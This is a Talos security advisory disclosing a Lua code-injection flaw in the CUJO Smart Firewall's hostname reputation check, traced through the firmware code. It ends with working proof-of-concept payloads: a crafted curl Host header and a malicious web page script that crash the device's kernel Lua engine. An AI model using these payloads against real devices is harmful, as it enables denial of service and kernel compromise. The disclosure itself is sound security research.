Talos Vulnerability Report

TALOS-2018-0703

CUJO Smart Firewall threatd hostname reputation check code execution vulnerability

March 19, 2019
CVE Number

CVE-2018-4031

Summary

An exploitable vulnerability exists in the safe browsing function of the CUJO Smart Firewall, version 7003. The flaw lies in the way the safe browsing function parses HTTP requests. The server hostname is extracted from captured HTTP/HTTPS requests and inserted as part of a Lua statement without prior sanitization, which results in arbitrary Lua script execution in the kernel. An attacker could send an HTTP request to exploit this vulnerability.

Tested Versions

CUJO Smart Firewall - Firmware version 7003

Product URLs

https://www.getcujo.com/smart-firewall-cujo/

CVSSv3 Score

9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-94: Improper Control of Generation of Code ('Code Injection')

Details

CUJO AI produces the CUJO Smart Firewall, a device that protects home networks from a variety of threats, such as malware, phishing websites and hacking attempts. It also provides a way to monitor specific devices in the network and limit their internet access.

CUJO works as a gateway and splits the home network in two: a monitored network and an unmonitored network (where the main home router is). This way, it can inspect (and block) malicious traffic on the internet. They also provide Android and iOS applications for managing the device.

The board utilizes an OCTEON III CN7020 processor produced by Cavium Networks, which has a cnMIPS64 microarchitecture.

The firmware is present in the external eMMC and is based on OCTEON's SDK, which results in a Linux-based operating system running a kernel with PaX patches.

During normal operation, the core process is agent — it establishes a persistent WebSocket over TLS communication with the remote CUJO server agent.cujo.io on port 444, which enables an indirect and remote communication with the smartphone application. This process also communicates with "tappers", which are processes meant to listen for a variety of network activities.

In addition, CUJO's safebro component inspects a subset of the network traffic using a combination of iptables rules and Lua scripts:

    # iptables -S FORWARD
    -P FORWARD ACCEPT
    -A FORWARD -m set --match-set blacklist src -j DROP
    -A FORWARD -m set --match-set blacklist dst -j DROP
[1] -A FORWARD -p tcp -m tcp --dport 443 --tcp-flags PSH PSH -m lua --function nf_ssl -j REJECT --reject-with tcp-reset
    -A FORWARD -p tcp -m tcp --dport 80 --tcp-flags FIN FIN -m lua --function nf_http_fin -j REJECT --reject-with tcp-reset
[2] -A FORWARD -p tcp -m tcp --dport 80 --tcp-flags PSH PSH -m lua --function nf_http -j DROP

Since CUJO redirects all network traffic to itself, in order to act as a router, any packet on the network with destination port 443 or 80 match the rules [1] or [2] shown above.
For the sake of simplicity, let's consider the port 80 only. This rule sends the packet contents to the netfilter module libxt_lua.so, which simply calls the Lua function nf_http, passing the packet's payload as first argument. Lunatic, a Lua engine implementation for the Linux kernel, evaluates the Lua call, so such script executions happen in the kernel context.

The initial configuration of the in-kernel Lua environment is performed by the agent-flush script:

    ...
    NF_SCRIPTS="nf nf_lru nf_threat nf_safebro nf_ssl nf_http"
    for script in ${NF_SCRIPTS}; do
[3]     if ! cat /usr/libexec/cujo/lua/${script}.lua > /proc/nf_lua; then
            logger -is "$0: failed to load ${script}.lua on nf_lua"
            exit 3
        fi
    done
    ...

At [3], we can see how userland process can execute a Lua statement in kernel by simply writing to /proc/nf_lua.

The script above sets up a series of functions that are then invoked by the iptables rules in order to analyze the network traffic. For example, the nf_http function is defined in nf_http.lua:

    ...
    function nf_http(frame, packet)
        local mac = nf.mac(frame)
        local ip = nf.ipv4(packet)
        local tcp, payload = nf.tcp(ip)

        if payload and not threat.bypass[mac.src] then
            local request = tostring(payload)
[4]         local path, host = string.match(request, '[A-Z]+ (%g+).*Host: (%g+)')

            if host then
                local key = string.format('%s:%x', host, mac.src)

                return not threat.whitelist[key] and not unblock(host, request, key)
[5]                 and block(host, key, path, mac, ip, tcp) -- DROP
            end
        end

        return false -- ALLOW
    end
    ...

    local function block(host, key, path, mac, ip, tcp)
[6]     local block, reason = safebro.filter(host, ip.src, mac.src)

[13]    if block then
            local salt
            local page = blockpage

            if reason == 'safe browsing' then
                page = warnpage
                salt = math.random()
                blocked[key] = salt
            end

            nf.reply('tcp', response(page, host .. path, salt))
            finished[source(ip, tcp)] = true
        end

        return block
    end
    ...

The "Host" header is extracted [4] from the packet. If found, it is passed to the block [5] function, which internally uses safebro.filter [6] to decide whether to block or allow the connection.

The call to safebro.filter eventually reaches threat.lookup [7] which leads to querying the threatd process in userspace:

    local function command(cmd, data)
[8]     nf.touser(string.format("%s %s", cmd, json.encode(data or '{}')))
    end

    local cache   = lru.new(1024, 24 * 60 * 60)
    local pending = lru.new(128, 60)

[7] function threat.lookup(hostname)
        local entry = cache[hostname]

        if not entry then
            if not pending[hostname] then
                pending[hostname] = true
[9]             command('lookup', {hostname = hostname})
            end
            print('cache miss: ' .. hostname)
            return nil
        end

        return table.unpack(entry)
    end

The function nf.touser is invoked at [8]: this function writes back to /proc/nf_lua, which is also read by the threatd process. This is the way CUJO uses to allow the kernel to communicate with userland processes.

The threatd process is implemented as a Lua script, and defines a lookup command [9] that checks the reputation of the destination host:

...
[9] lookup = function (nflua, data)
[10]    local reputation, categories = lookup(data.hostname)
[11]    local cache = string.format('threat.cache("%s",{%s,{%s}})',
[12]        data.hostname, reputation, table.concat(categories, ','))
        assert(nflua:write(cache))
        nflua:flush()
    end,
...

First, threatd uses the lookup call [10] to query Brightcloud's services, and finally returns the host reputation back to nf_lua, that is the Lua engine running in kernel. In practice, returning values from userland is implemented by evaluating Lua statements: at [11] the hostname and its reputation data are inserted in a table called threat.cache, and executed by writing to /proc/nf_lua [12].

Back to the kernel context, the reputation is checked and the filtering decision is chosen accordingly [13].

The same logic is implemented for SSL connections (for packets matching the rule [1]), with the only difference being the hostname extraction: in this case the hostname is extracted from the server_name extension of the ClientHello message, without any modification, and passed to threatd to perform the reputation check.

Notice how at [11] the hostname is inserted in the Lua statement. The hostname is user-controlled, as it is extracted from the client's HTTP headers, and is never sanitized. In fact, the hostname can contain any character matching the "%g" class from the regular expression at [4], that is, any printable character except space.
Thus, an attacker could use the "Host" header to inject arbitrary Lua statements, that are eventually executed in Lunatik. Moreover, since the load() function is present and unrestricted in Lunatik, it allows for loading arbitrary Lua bytecode. This is known to be insecure, as per Lua documentation:

Lua does not check the consistency of binary chunks. Maliciously crafted binary chunks can crash the interpreter. It is thus possible for an attacker to leverage this vulnerability to achieve remote code execution in the kernel context, without authentication.

Additionally, note that this vulnerability could be used together with TALOS-2018-0702: this would allow a remote website to exploit both vulnerabilities and compromise a CUJO device, without requiring a direct communication channel between CUJO and the website.

Exploit Proof of Concept

The following proof of concept shows how to crash the Lunatik engine, and thus the device, by triggering a kernel out-of-bounds read.

$ curl "http://${IP}" -H 'Host: ");x=string.dump(load"a()");load(x:sub(1,54)..string.char(184)..x:sub(56))();--'

The command can be run from any device that is in CUJO's network. The target ${IP} can be any the address of any remote server that answers on TCP port 80.

Additionally, consider the following proof of concept, that combines with TALOS-2018-0702:

<script>
payload = 'A'.repeat(1500) + ' X Host: ");x=string.dump(load"a()");load(x:sub(1,54)..string.char(184)..x:sub(56))();--';

var xmlHttp = new XMLHttpRequest();
xmlHttp.open("post", "/");
xmlHttp.send(payload);
</script>

A malicious website could return the page above, that would make a client in CUJO's network to execute a POST request to the same website. Assuming an MSS of 1460, such request would be split in two packets. The second packet would contain the following data:

AAAAAAAAAA...AAAAAAAA X Host: ");x=string.dump(load"a()");load(x:sub(1,54)..string.char(184)..x:sub(56))();--';

Because of the weak regular expression filtering, CUJO is tricked into extracting the "Host" header from this packet, triggering the code injection vulnerability.

Timeline

2018-11-05 - Vendor Disclosure
2019-03-19 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.